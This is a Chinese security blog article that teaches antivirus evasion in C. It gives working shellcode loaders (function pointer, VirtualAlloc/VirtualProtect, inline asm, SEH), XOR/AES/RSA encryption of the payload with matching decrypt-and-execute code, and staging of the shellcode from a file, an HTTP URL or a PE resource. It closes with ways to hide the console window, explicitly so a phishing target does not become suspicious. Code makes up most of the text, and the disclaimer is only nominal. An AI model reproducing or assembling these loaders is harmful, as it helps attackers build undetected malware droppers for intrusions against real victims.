本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。没有新的内容,经过后台某个老哥的提醒,这里重新把之前发的整理了一下,去掉了一些东西,并且在后方加上了参考文章或项目的链接,该文章的代码均是经过亲身研究,最后完善可用的,尤其是部分技术实际情况下会遇到的种种情况,这里也做了详细解释和说明避免师傅们走弯路,节省时间。
加载Shellcode的常见方式1. 函数指针2. 指针执行3. 申请动态内存4. 内联汇编5. 基于SEH异常处理过静态--shellcode加密1. XOR2. AES3. RSA4. 工具推荐过静态--shellcode分离方法1. 从文件中读取shellcode2. 通过http读取shellcode3. 从PE资源加载并执行shellcode去黑框1. 设置子系统2. FreeConsole3. ShowWindows
加载Shellcode的常见方式
下面列举了在C语言中,我们加载shellcode的常见方式,部分方式没有给出,涉及一些原理后续会出单独的文章提到,这里只介绍几种常用的,更多方式请看文章后边的参考链接
1. 函数指针
这个是最便捷的了,但是杀软检测也是比较厉害
首先我们要了解一个东西叫函数指针,有了它之后代码会变得很灵活,多用于回调函数或传参,下面是函数指针的一个demo,先简单了解它的用法
#include <stdio.h>
void (*fun1)(void);
void demo()
{
printf("函数调用成功n");
}
int main()
{
fun1 = demo;
fun1();
}
我们在使用的时候通常是下面的代码
//void(*)() 定义了一个无参无返回值的函数指针
//exec的地址通常指向含有可执行权限空间里的shellcode
//(void(*)())exec 代表一个指向exec,无返回值且不接受任何参数的函数指针
//((void(*)())exec)() 函数指针进行调用,执行exec对应地址的代码
((void(*)())exec)();
2. 指针执行
我们了解了如何使用函数指针,那么我们的通常可以采用最简单的指针执行法,代码如下
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] = "shellcode";
int main()
{
((void(*)(void)) & buf)();
}
实际上我们的代码并不会执行成功,因为我们的buf
数组在全局声明,所以它存在静态存储区也就是.data段,而.data段是没有可执行权限的所以程序一定不会执行成功,我们可以利用VirtualQuery
函数来查看对应位置的权限信息,如下图,它只有读写权限。
所以如果我们想执行,需要将其位置的权限改变,变成可读可写可执行
VirtualProtect
-
功能:更改了内存区域的访问权限
-
返回值:BOOL类型,表示是否成功
BOOL VirtualProtect(
LPVOID lpAddress, // 内存区域的起始地址
SIZE_T dwSize, // 内存区域的大小
DWORD flNewProtect, // 新的访问权限
PDWORD lpflOldProtect// 旧的访问权限
);
最后代码如下
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] = "shellcode";
int main()
{
DWORD oldProtect;
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
((void(*)(void)) & buf)();
}
3. 申请动态内存
这种方式可以说是最经典的了,先申请一块可读写可执行的内存,然后分配内存,然后执行,最后也是使用的函数指针的方式去调用shellcode
#include <Windows.h>
#include <stdio.h>
int main()
{
char shellcode[] = "你的shellcode";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
这里面用到两个函数VirtualAlloc
和memcpy
VirtualAlloc
-
功能:用于在进程的虚拟地址空间中分配一块内存区域
-
返回值:如果函数调用成功,它会返回分配内存区域的起始地址。
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress, //指定欲分配的内存区域的首地址。可以传入 NULL 来让系统自动选择一个地址。
[in] SIZE_T dwSize, //指定欲分配的内存区域的大小,单位是字节。
[in] DWORD flAllocationType, //指定内存分配的类型,通常使用的值为MEM_COMMIT,表示将分配的内存提交,使之变为可用状态。
[in] DWORD flProtect //设置内存区域的访问保护属性,通常是PAGE_EXECUTE_READWRITE,可读可写可执行
);
memcpy
用于在内存之间拷贝指定数量的字节,三个参数分别是目标地址指针、源地址指针、需要拷贝的字节数。
4. 内联汇编
代码如下,其中我们在2指针执行的时候说了,全局的shellcode存在静态存储区也就是.data段,而#pragma comment(linker, "/section:.data,RWE")
这行代码的作用也是将该代码段的权限变成可读可写可执行,跟VirtualProtect达到类似作用,不过一个是编译器指令,一个是Windows API函数
==注意:==
内联汇编只支持x86,不支持x64,所以准备的shellcode一定要是x86的,并且编译的版本也选x86版本
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "shellcode";
void main()
{
//内联汇编
__asm
{
mov eax, offset shellcode //将shellcode变量的地址存储到寄存器eax中。offset关键字用于获取变量的地址。
jmp eax //跳转到eax寄存器中存储的地址处执行代码
}
}
5. 基于SEH异常处理
SEH(Structured Exception Handling,结构化异常处理)
是Windows操作系统中的一种错误处理和异常处理机制,对于有编程经验的人来说肯定不陌生java中的try catch或python中的try except
用法如下所示:
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
int b = 0;
unsigned char buf[] = "shellcode";
int ExceptFilter()
{
b = 1; // 修改b的值为1,以防止无限循环的异常处理
((void(*)(void)) & buf)();
//EXCEPTION_EXECUTE_HANDLER 标志用于指定在异常处理程序执行完毕后继续执行引发异常的指令。
return EXCEPTION_EXECUTE_HANDLER;
}
int main()
{
_try // 尝试执行可能引发异常的代码块
{
int c = 1 / b; // 故意执行除零操作以触发异常
}
_except(ExceptFilter()) { // 当异常发生时,调用ExceptFilter函数处理
};
}
过静态--shellcode加密
对于静态扫描,我们生成的payload落地就会被杀,所以对其进行加密处理是必要的一环
1. XOR
先用python写个加密脚本,其中key是6-16位的随机字符串
import random
shellcode = b'x48x81xECx00'
# 生成随机字符串
def generate_random_key(length):
key = ""
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
for _ in range(length):
key += random.choice(characters)
return key.encode()
# 异或加密函数
def xor_encrypt(code, key):
encrypted_code = bytearray()
key_length = len(key)
for i in range(len(code)):
encrypted_code.append(code[i] ^ key[i % key_length])
return bytes(encrypted_code)
# 生成6-16长度的随机字符串
key_length = random.randint(6, 16)
key = generate_random_key(key_length)
# 进行异或加密
encrypted_code = xor_encrypt(shellcode, key)
print("随机生成的密钥:", key.decode())
#以16进制的形式输出加密后的结果
str_encode = ''
for byte in encrypted_code:
str_encode += ('\x%02x' % byte)
print("加密后的结果为:",str_encode)
到C语言中的思路就是先解密然后给到内存执行就可以,下方代码改变了策略,并没有申请内存而是直接修改shellcode所在内存的保护属性,直接改成可读可写可执行
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
VirtualProtect的四个参数:
lpAddress
:指向要更改保护属性的内存区域的起始地址的指针。
dwSize
:要更改保护属性的内存区域的大小(以字节为单位)。
flNewProtect
:新的保护属性。
lpflOldProtect
:一个指向变量的指针,用于接收原始的保护属性。
前三个参数很简单,这里说一下第四参数,因为我们要修改一个内存部分的保护属性,第四个参数相当于一个备份,它存了旧的保护属性,需要注意的是就算我们用不到旧的保护属性,也不要将该值设置为NULL,否则会导致函数执行失败。
可以看到这里代码执行后它的值是4也就代表原来的保护属性是可读(可读4 可写2 可执行1)
C语言代码如下
#include <Windows.h>
#include<stdio.h>
unsigned char encryptedShellcode[] = "x25xd0xab";
int main() {
char key[] = "";
// 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
unsigned char shellcode[sizeof encryptedShellcode];
int keylength = strlen(key);
// 遍历加密的shellcode,并解密,将结果存储在shellcode数组中
for (int i = 0; i < sizeof encryptedShellcode; i++) {
shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
printf("\x%x", shellcode[i]);
}
// 声明一个DWORD变量用于存储旧的内存保护属性
DWORD dwOldPro = 0;
// 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
// 回调函数执行解密后的shellcode
EnumUILanguages((UILANGUAGE_ENUMPROC)(char *)shellcode, 0, 0);
}
2. AES
同样的除了简单的XOR外,我们还可以采用其它的加密手段,对称加密中AES比较常用,下面我们尝试用AES加密我们的shellcode并执行,注意python3这里使用Crypto
函数库有点坑,最简单的解决办法就是确保已经卸载crypto
和pycrypto
,然后安装pycryptodome
。
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
# 声明变量
code = b'Hello, world!' # 待加密的数据
key = b'0123456789abcdef' # 加密密钥,必须为16字节
iv = b'0123456789abcdef' # 加密向量,必须为16字节
# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 对数据进行填充
padded_data = pad(code, AES.block_size)
# 加密数据
encrypt = cipher.encrypt(padded_data)
# 将加密结果转换为 Base64 格式
base64_encrypt = base64.b64encode(encrypt).decode()
# 显示加密结果
print('加密结果(Base64):', base64_encrypt)
C语言代码这里直接调用现成的项目了
https://github.com/kokke/tiny-AES-c
把这三个代下下来
分别添加到本地项目的源文件和头文件中
解密demo如下,要注意一点,就是我们原本的字符串长度是16,但是我们通过aes加密了,填充的IV长度为16,所以生成加密后的字节是32,然后我们在C语言一开始code[]的长度是32,解密后字符依然存到了code所在内存处,不过解密后我们的数据长度又变回了16,所以只占了code空间的一半
#include<stdio.h>
#include "aes.hpp"
int main() {
unsigned char code[] = "xe1x56xcfxa2xcfx65x04xe7x6ax75xc7x84x5cx74x0fxe2xc6x49xacx01xc9x89x70x57x66x1ax77x60x38xfdxacx52";
unsigned char key[] = "0123456789abcdef";
unsigned char iv[] = "0123456789abcdef";
// 声明aes 结构体
struct AES_ctx ctx;
// 初始化
AES_init_ctx_iv(&ctx, key, iv);
// 解密,解密后的内容依然存在code对应内存处
AES_CBC_decrypt_buffer(&ctx, code, sizeof(code));
}
最后成品代码如下
python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
# 生成随机字符串
def generate_random_key(length):
key = ""
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
for _ in range(length):
key += random.choice(characters)
return key.encode()
shellcode = b'x48x81xECx00' # 待加密的数据
key = generate_random_key(16)
iv = generate_random_key(16)
print('密钥为:',key)
print('IV为:',iv)
# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 对数据进行填充
padded_data = pad(shellcode, AES.block_size)
# 加密数据
encrypt = cipher.encrypt(padded_data)
encrypted_shellcode_string = ''
for byte in encrypt:
encrypted_shellcode_string += ("\x%02x" % byte)
print('加密结果为:',encrypted_shellcode_string)
C语言代码
#include<stdio.h>
#include "aes.hpp"
#include<windows.h>
int main() {
unsigned char shellcode[] = "x9cx0ex92x36x7e";
unsigned char key[] = "28T4BN6Z5EtPSF15";
unsigned char iv[] = "ukGlewQtQJoYAQjU";
// 声明aes 结构体
struct AES_ctx ctx;
// 初始化
AES_init_ctx_iv(&ctx, key, iv);
// 解密,解密后的内容依然存在code对应内存处
AES_CBC_decrypt_buffer(&ctx, shellcode, sizeof(shellcode));
DWORD dwOldPro = 0;
// 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
// 回调函数执行解密后的shellcode
EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)shellcode, 0, 0);
}
3. RSA
由于RSA的加密特性,加密太长的值的时候很不方便,还需要分块加密,最后的结果也很大,不过也可以通过AES和RSA的混合,用RSA加密AES的秘钥,这里就不举具体例子了,下面给一个C语言调用RSA的demo
首先去这个网站,下载openssl 1..1 https://slproweb.com/products/Win32OpenSSL.html,然后安装
在项目中引用openssl安装完的头文件和lib库
python生成公钥和私钥
from Crypto.PublicKey import RSA
# 生成RSA密钥对
key = RSA.generate(2048)
# 保存私钥为PEM格式(命名为pri.key)
private_key = key.export_key().decode()
pri_lines = private_key.splitlines()
for i in pri_lines:
print('"'+i+'\n"')
print('nnn----------分割线-------------nnn')
# 保存公钥为PEM格式(命名为pub.pem)
public_key = key.publickey().export_key().decode()
pub_lines = public_key.splitlines()
for i in pub_lines:
print('"'+i+'\n"')
代码如下
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/applink.c>
#pragma comment(lib, "libcrypto.lib")
#pragma comment(lib, "libssl.lib")
int main() {
// 硬编码的公钥和私钥
const char* pri_key_data = "-----BEGIN RSA PRIVATE KEY-----n"
"MIIEowIBAAKCAQEApl67Jh2KsDstGXsDDRIR8A2r1c7fyTFFn2vE7LiVPtek1lekn"
"......"
"S8QTsa2w/uLGNjIMFy58Atic1UYUA021152mZZZkfvz1Z4/cdiztn"
"-----END RSA PRIVATE KEY-----n";
const char* pub_key_data = "-----BEGIN PUBLIC KEY-----n"
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApl67Jh2KsDstGXsDDRIRn"
"......"
"KQIDAQABn"
"-----END PUBLIC KEY-----n";
BIO* pri_mem = BIO_new_mem_buf((void*)pri_key_data, -1);
RSA* rsa_pri = PEM_read_bio_RSAPrivateKey(pri_mem, NULL, NULL, NULL);
BIO_free(pri_mem);
BIO* pub_mem = BIO_new_mem_buf((void*)pub_key_data, -1);
RSA* rsa_pub = PEM_read_bio_RSA_PUBKEY(pub_mem, NULL, NULL, NULL);
BIO_free(pub_mem);
// 加密示例
const char* plain_text = "Hello, RSA!";
int plain_len = strlen(plain_text);
// 计算加密后的长度
int enc_len = RSA_size(rsa_pub);
unsigned char* enc_data = (unsigned char*)malloc(enc_len);
// 进行加密操作
int ret = RSA_public_encrypt(plain_len, (const unsigned char*)plain_text, enc_data, rsa_pub, RSA_PKCS1_PADDING);
if (ret == -1) {
printf("Failed to encrypt.n");
RSA_free(rsa_pri);
RSA_free(rsa_pub);
free(enc_data);
return -1;
}
printf("Encrypted data: ");
for (int i = 0; i < ret; i++) {
printf("%02x ", enc_data[i]);
}
printf("n");
// 解密示例
unsigned char* dec_data = (unsigned char*)malloc(plain_len);
// 进行解密操作
ret = RSA_private_decrypt(enc_len, enc_data, dec_data, rsa_pri, RSA_PKCS1_PADDING);
if (ret == -1) {
printf("Failed to decrypt.n");
RSA_free(rsa_pri);
RSA_free(rsa_pub);
free(enc_data);
free(dec_data);
return -1;
}
printf("Decrypted data: %sn", dec_data);
// 释放资源
RSA_free(rsa_pri);
RSA_free(rsa_pub);
free(enc_data);
free(dec_data);
return 0;
}
4. 工具推荐
这里推荐工具在于辅助(此处参考了TIDE的推荐免杀工具的文章),如果想直接通过工具利用就生成免杀马,概率不高而且估计就算上线也有很大几率被杀
在线混淆地址:https://zerosum0x0.blogspot.com/2017/08/obfuscatedencrypted-cc-online-string.html
多态二进制编码器:https://github.com/EgeBalci/sgn
https://github.com/OWASP/ZSC
https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA
https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ
https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA
https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg
https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ
https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg
过静态--shellcode分离方法
1. 从文件中读取shellcode
先了解几个API函数
CreateFileA
-
功能:创建或者打开文件或 I/O 设备。
-
返回值:当打开文件成功则返回对应句柄,如果失败则返回
INVALID_HANDLE_VALUE
HANDLE CreateFileA(
LPCSTR lpFileName, // 要打开的文件的名字,注意是宽字节
DWORD dwDesiredAccess, // 允许对设备的访问权限,GENERIC_READ 为读权限
DWORD dwShareMode, // 表示共享模式,用于指定其他进程对同一文件的访问权限,0为不共享
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 安全描述符,这里直接设置为NULL就可以
DWORD dwCreationDisposition, // 要对存在或不存在的文件或设备执行的操作,动作 OPEN_EXISTING 表示打开已存在文件
DWORD dwFlagsAndAttributes, // 用于指定文件或设备对象的属性通常用于创建文件时使用该属性,属性 FILE_ATTRIBUTE_NORMAL 为默认属性
HANDLE hTemplateFile // 默认为 NULL 即可
);
ReadFile
-
功能:从文件中读取数据
-
返回值:如果函数成功,则返回值为非零 (TRUE) 。如果函数失败或正在异步完成,则返回值为零 (FALSE) 。
BOOL ReadFile(
HANDLE hFile, // 文件句柄
LPVOID lpBuffer, // 接数据用的buffer
DWORD nNumberOfBytesToRead, // 要读取的字节数
LPDWORD lpNumberOfBytesRead, // 实际读取的字节数
LPOVERLAPPED lpOverlapped // OVERLAPPED 结构 一般设为 NULL
);
#include <stdio.h>
#include <windows.h>
int main()
{
DWORD dwSize;
DWORD dwReadSize;
HANDLE hFileNew;
//文件路径
LPCWSTR file = L"C:\Black\calc.bin";
//打开文件,以只读方式,读取权限对其它进程共享
hFileNew = CreateFile(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
//判断是否成功打开文件
if (hFileNew == INVALID_HANDLE_VALUE)
{
return 0;
}
//获取文件大小
dwSize = GetFileSize(hFileNew, NULL);
//开辟空间
void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//将文件读取到开辟的空间处
ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);
//函数指针调用
((void(*)())exec)();
}
2. 通过http读取shellcode
C语言中,如果想实现对应网络资源对应的功能,就要用到wininet
WinInet(Windows Internet)是 Microsoft Windows 操作系统中的一个 API 集,用于提供对 Internet 相关功能的支持。它包括了一系列的函数,使得 Windows 应用程序能够进行网络通信、处理 HTTP 请求、FTP 操作等。WinInet 提供了一套完整的网络通信工具,使得开发者能够轻松地构建支持网络功能的应用程序,涵盖了从简单的 HTTP 请求到复杂的文件传输等多种网络操作。
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
InternetOpenA:
-
功能:用于初始化一个应用程序的对网络资源的访问。
-
返回值:如果函数调用成功,将返回一个类型为
HINTERNET
的句柄。这个句柄可以用于后续的网络操作。
HINTERNET InternetOpenA(
[in] LPCSTR lpszAgent, //UA头的值
[in] DWORD dwAccessType, //访问互联网的方式INTERNET_OPEN_TYPE_DIRECT直接连接,INTERNET_OPEN_TYPE_PROXY:通过代理服务器连接到互联网。
[in] LPCSTR lpszProxy, //代理服务器地址,我们不用代理访问模式,这里可以设置为NULL
[in] LPCSTR lpszProxyBypass, //不走代理的地址
[in] DWORD dwFlags //指定其他标志来控制函数的行为,正常访问直接为设置为NULl即可
);
使用InternetOpenA初始化并获得句柄后,我们想要发送http请求,可以有两种方式,一种是使用InternetOpenUrlA
,另一种是使用InternetConnectA
、HttpOpenRequestA
、HttpSendRequestA
的组合,后者更细致,前者更方便,所以我们这里直接用InternetOpenUrlA
InternetOpenUrlA
-
功能:用于打开一个指定的URL并返回一个指向URL资源的句柄
-
返回值:如果函数调用成功,则返回指向URL资源的有效句柄(HINTERNET类型)。
HINTERNET InternetOpenUrlA(
[in] HINTERNET hInternet, //一个已打开的句柄,用于表示与Internet相关的会话。通常使用InternetOpenA函数返回的句柄作为参数.
[in] LPCSTR lpszUrl, //要打开的URL字符串
[in] LPCSTR lpszHeaders, //用于指定请求的头部信息。可以为空字符串或NULL。
[in] DWORD dwHeadersLength, //lpszHeaders参数的长度,如果指定了头部信息,则需要指定其长度;如果没有指定,则传入0。
[in] DWORD dwFlags, //用于指定打开URL的行为和选项,我们这里用到了INTERNET_FLAG_RELOAD:强制重新下载URL资源,忽略缓存。
[in] DWORD_PTR dwContext //一个用户定义的值,可以用于传递上下文信息。我们不用回调函数,这里设置为NULL即可
);
InternetReadFile
-
功能:用于读取通过HTTP或FTP协议打开的URL资源。
-
返回值:如果函数调用成功,则返回非零值(TRUE)。
BOOL InternetReadFile(
[in] HINTERNET hFile, //指向要读取的URL资源的句柄。
[out] LPVOID lpBuffer, //指向用于接收读取数据的缓冲区的指针。
[in] DWORD dwNumberOfBytesToRead, //要读取的字节数。
[out] LPDWORD lpdwNumberOfBytesRead //指向一个DWORD类型的变量,表示实际读取的字节数。
);
完整代码:
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
int main()
{
const char* host = "http://127.0.0.1/calc.bin";
const int payload_len = 369;
HINTERNET session, con;
void* exec = VirtualAlloc(NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
session = InternetOpenA("User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
con = InternetOpenUrlA(session, "http://127.0.0.1/calc.bin", NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (con != NULL)
{
DWORD nread;
InternetReadFile(con, exec, payload_len, &nread);
((void(*)())exec)();
}
InternetCloseHandle(con);
InternetCloseHandle(session);
return 0;
3. 从PE资源加载并执行shellcode
我们可以将shellcode转换成一个bin文件,再将这个bin文件以资源的形式加到项目中,在代码中读取并使用
-
首先在资源文件处右键,添加资源
-
选择导入,在文件导入框将右下角的文件类型改成所有文件,然后选择我们要导入的bin文件
-
自定义一个资源类型
-
然后我们就可以在资源视图中看到我们添加的资源了(名字为:IDR_CALC1,类型为:calc)
接下来就是加载资源了,我们先要了解几个函数
FindResourceA
-
功能:根据指定的名称和类型查找资源
-
返回值:一个指向资源的句柄(
HRSRC
类型)
HRSRC FindResourceA(
[in, optional] HMODULE hModule, //可执行模块的句柄,用于指定要搜索的模块。如果指定为 NULL,则表示搜索当前可执行文件中的资源。nhj
[in] LPCSTR lpName, //资源名称
[in] LPCSTR lpType //资源类型
);
SizeofResource
函数用来获取资源大小,第一个参数也是模块句柄,第二个参数是资源句柄
LoadResource
函数用于加载指定资源的数据,并返回指向资源数据的句柄。同样第一个参数也是模块句柄,第二个参数是资源句柄
整体代码如下:
#include <stdio.h>
#include <Windows.h>
//resource.h 是一个用于定义资源 ID 的头文件,在使用资源时,需要使用该头文件中定义的 ID 标识资源。
#include "resource.h"
int main()
{
HRSRC shellcodeResource = FindResourceA(NULL, LPCSTR(IDR_CALC1), "calc");
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcodeResouceData, shellcodeSize);
((void(*)())exec)();
return 0;
}
去cmd命令框
正常我们编译C语言的控制台程序,都会出现命令框,打内网还好,不过当正常钓鱼的时候需要隐藏,否则会引起对方的怀疑。
1. 设置子系统
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
这行代码大概意思就是告诉链接器,将程序的入口点设置为mainCRTStartup
,/subsystem:"Windows"
部分告诉链接器将程序的子系统设置为Windows,而不是默认的控制台应用程序。这将使得程序在启动时不会显示控制台窗口,而是直接运行。
在使用VS studio进行编译控制台程序的时候,默认的入口点并不是我们的main函数,而是mainCRTStartup
,如下图
==注意:==
这种方法也可以通过配置编译器或修改已生成文件中的PE头内容,达到相同效果。
2. FreeConsole
FreeConsole函数是Windows API中的一个函数,用于释放当前进程的控制台窗口。
在Windows系统中,控制台窗口是一种命令行界面,可以用来输入和输出文本。当一个程序被启动时,默认情况下会分配一个控制台窗口给该程序,以便它能够与用户进行交互。
FreeConsole函数可以在运行时释放当前进程的控制台窗口,使其不再与该进程关联。这意味着程序将不再具有标准输入、输出和错误流,也无法通过控制台与用户进行交互。
FreeConsole();
3. ShowWindows
ShowWindow和FreeConsole类似,也是windows的API函数,功能是设置指定窗口的显示状态。
HWND hwndDos = GetForegroundWindows();
showWindows(hwndDos,SW_HIDE);
参考:
https://www.cnblogs.com/henry666/p/17429771.html#tid-sFpdnP
https://www.cnblogs.com/henry666/p/17429382.html
https://github.com/midisec/BypassAnti-Virus
https://luckyfuture.top/BypassAVLearning2#%E4%BB%8Eweb%E5%8A%A0%E8%BD%BDshellcode
https://www.geeksforgeeks.org/how-to-hide-a-console-window-on-startup-in-cpp/
原文始发于微信公众号(小惜渗透):bypass 1-初识and静态处理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论